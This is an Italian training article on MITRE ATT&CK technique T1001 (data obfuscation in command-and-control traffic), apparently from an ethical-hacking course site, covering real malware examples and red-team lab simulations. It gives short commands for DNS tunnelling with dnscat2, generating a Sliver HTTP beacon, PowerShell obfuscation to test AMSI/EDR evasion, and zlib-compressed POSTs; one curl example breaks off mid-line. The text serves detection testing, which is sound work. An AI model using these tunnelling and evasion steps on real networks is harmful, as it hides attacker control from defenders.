Offuscamento del Traffico: Data Obfuscation (T1001)
La tecnica T1001 – Data Obfuscation rientra nella tattica TA0011 (Command and Control) e descrive l'insieme di metodi con cui un attaccante rende il traffico di comando e controllo meno riconoscibile agli occhi dei difensori. Non si parla necessariamente di cifratura forte, quanto piuttosto di camuffamento: dati inutili iniettati nei pacchetti, uso della steganografia, imitazione di protocolli legittimi o incapsulamento delle istruzioni in campi HTTP apparentemente innocui.
L'obiettivo è duplice. Da un lato ridurre la probabilità che una firma di rete o un motore di anomaly detection sollevi un allarme, dall'altro dilatare il tempo che un analista impiega a comprendere cosa sta realmente transitando sul canale. Il traffico C2 offuscato è spesso l'anello più difficile da spezzare in una kill chain matura, perché arriva quando l'impianto è già consolidato e la superficie forense endpoint può essere stata bonificata dall'attaccante.
I dati MITRE mostrano l'ampiezza del fenomeno: 11 famiglie malware documentate, un gruppo APT (Gamaredon Group) e una campagna significativa (Operation Wocao). Le implementazioni spaziano da header HTTP manipolati (Okrum, Ninja) a sottodomini DNS cifrati in AES (RDAT), fino a payload HTTP compressi con zlib (FRAMESTING) o mascherati come notifiche Google (TrailBlazer). Comprendere i pattern è il primo passo per costruire detection resistenti.
Per simulare T1001 in un contesto red team occorre riprodurre in laboratorio le tecniche di offuscamento senza inventare capacità: l'obiettivo è verificare se il SOC riesce a distinguere il traffico camuffato dal rumore legittimo.
Un primo scenario riguarda l'incapsulamento in header HTTP, ispirato a Okrum. Con mitmproxy (open source) o uno script Python basato su requests è possibile costruire un client che porta il payload dentro il campo Cookie o Set-Cookie, magari codificato in base64 con padding modificato. Un comando tipo curl -H "Cookie: session=
Per replicare il pattern RDAT, che nasconde AES ciphertext nei sottodomini, si può usare dnscat2 (open source) o iodine (open source) come base, aggiungendo uno strato applicativo che cifra il payload prima di codificarlo in etichette DNS conformi alla RFC. Il comando dnscat2-client --dns server=lab-dns.local,port=53 apre il tunnel; l'operatore può poi valutare quanti byte al secondo passano prima che i sensori NDR si accorgano di qualcosa.
Per la parte di traffic masquerading in stile TrailBlazer, framework come Cobalt Strike (a pagamento) e Sliver (open source) offrono malleable C2 profiles che permettono di modellare header, User-Agent e URI in modo da imitare servizi cloud noti. Su Sliver il comando generate --http lab-c2.local --format shellcode produce un beacon HTTP configurabile via profilo.
Per l'offuscamento a livello di script — come le VBScript concatenate usate da Gamaredon Group — si possono usare Invoke-Obfuscation (open source) per PowerShell o script custom che spezzano stringhe, randomizzano nomi variabile e inseriscono junk code. Il purpose test consiste nel verificare se AMSI e l'EDR intercettano il payload dopo la deoffuscazione runtime.
Su Linux, per simulare traffico compresso zlib in POST come FRAMESTING, basta uno script Python: import zlib, requests; requests.post(url, data=zlib.compress(payload)). Su macOS lo stesso approccio funziona con urllib.
Infine, per validare la robustezza del monitoraggio, è utile combinare più tecniche: un beacon Sliver con profilo malleable che invia dati zlib-compressi dentro cookie HTTP. Se il SOC rileva solo uno dei tre livelli, ci sono lacune di correlazione da segnalare nel report finale.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo